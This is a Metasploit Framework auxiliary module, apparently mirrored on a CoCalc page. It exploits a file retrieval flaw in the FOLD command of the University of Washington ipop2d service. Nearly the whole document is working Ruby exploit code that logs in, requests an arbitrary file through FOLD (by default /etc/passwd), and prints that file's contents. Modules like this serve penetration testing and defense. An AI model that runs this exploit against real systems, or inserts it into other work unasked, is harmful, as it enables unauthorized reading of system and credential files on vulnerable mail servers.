Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Pop2
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'UoW pop2d Remote File Retrieval Vulnerability',
14
'Description' => %q{
15
This module exploits a vulnerability in the FOLD command of the
16
University of Washington ipop2d service. By specifying an arbitrary
17
folder name it is possible to retrieve any file which is world or group
18
readable by the user ID of the POP account. This vulnerability can only
19
be exploited with a valid username and password. The From address is
20
the file owner.
21
},
22
'Author' => [ 'aushack' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'OSVDB', '368' ],
26
[ 'BID', '1484' ],
27
],
28
'DisclosureDate' => '2000-07-14',
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'SideEffects' => [IOC_IN_LOGS],
32
'Reliability' => []
33
}
34
)
35
)
36
37
register_options(
38
[
39
OptString.new('FILE', [ true, 'The file to retrieve', '/etc/passwd' ])
40
]
41
)
42
end
43
44
def run
45
connect_login
46
file = datastore['FILE']
47
res = send_cmd(['FOLD', file], true)
48
49
if (res =~ /#1 messages in/)
50
send_cmd(['READ 1'], true)
51
file_output = send_cmd(['RETR'], true)
52
print_status("File output:\r\n\r\n#{file_output}\r\n")
53
send_cmd(['ACKS'], true)
54
elsif (res =~ /#0 messages in/)
55
print_status("File #{file} not found or read-access is denied.")
56
end
57
58
send_cmd(['QUIT'], true)
59
disconnect
60
end
61
end
62
63